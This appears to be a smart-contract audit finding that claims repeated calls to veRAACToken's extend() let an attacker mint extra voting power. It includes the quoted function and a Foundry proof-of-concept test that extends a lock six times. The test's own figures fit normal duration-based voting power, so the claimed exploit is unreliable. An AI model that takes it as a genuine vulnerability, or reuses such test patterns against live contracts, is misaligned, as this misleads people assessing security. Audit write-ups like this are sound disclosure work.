Attacker can steal extra voting power by calling extend() repeatedly.
function extend(uint256 newDuration) external nonReentrant whenNotPaused {
uint256 newUnlockTime = _lockState.extendLock(msg.sender, newDuration);
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
userLock.amount,
newUnlockTime
);
uint256 oldPower = balanceOf(msg.sender);
uint256 newPower = uint256(uint128(newBias));
_checkpointState.writeCheckpoint(msg.sender, newPower);
if (newPower > oldPower) {
@> _mint(msg.sender, newPower - oldPower);
} else if (newPower < oldPower) {
_burn(msg.sender, oldPower - newPower);
}
emit LockExtended(msg.sender, newUnlockTime);
}
The function above allows users who have locked their tokens to extend their period duration .However there is no
limit on the number of times the function can be called to extend duration . Each time the function is called , voting power
is minted to the user.
An attacter can abuse this to mint extra voting power to themselves.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "contracts/core/tokens/veRAACToken.sol";
import "contracts/mocks/core/tokens/ERC20Mock.sol";
contract Audit_Test is Test {
veRAACToken public veToken;
ERC20Mock public raacToken;
address owner = makeAddr("owner");
address user = makeAddr("user");
uint256 constant MIN_LOCK_DURATION = 365 days;
uint256 constant MAX_LOCK_DURATION = 1460 days;
uint256 constant INITIAL_MINT = 1_000_000 ether;
uint256 constant BOOST_WINDOW = 7 days;
uint256 constant MAX_BOOST = 25000;
uint256 constant MIN_BOOST = 10000;
function setUp() public {
vm.startPrank(owner);
raacToken = new ERC20Mock("RAAC Token", "RAAC");
veToken = new veRAACToken(address(raacToken));
vm.stopPrank();
}
function test_POC() public {
uint256 amount = 100;
uint256 duration = 365 days;
raacToken.mint(user, 200);
vm.startPrank(user);
raacToken.approve(address(veToken), 200);
uint256 unlockTime = block.timestamp + duration;
uint256 time = unlockTime - block.timestamp;
uint256 initialPower = (amount * time) / 1460 days;
int128 bias = int128(int256(initialPower));
uint256 newPower = uint256(uint128(bias));
uint256 timestampBefore = block.timestamp;
veToken.lock(amount, duration);
assertEq(veToken.balanceOf(user) , 25);
uint256 extensionDuration = 180 days;
veToken.extend(extensionDuration);
veToken.extend(extensionDuration);
veToken.extend(extensionDuration);
veToken.extend(extensionDuration);
veToken.extend(extensionDuration);
veToken.extend(extensionDuration);
assertEq(veToken.balanceOf(user) , 98);
vm.stopPrank();
}
}
Require payment for minting new voting power.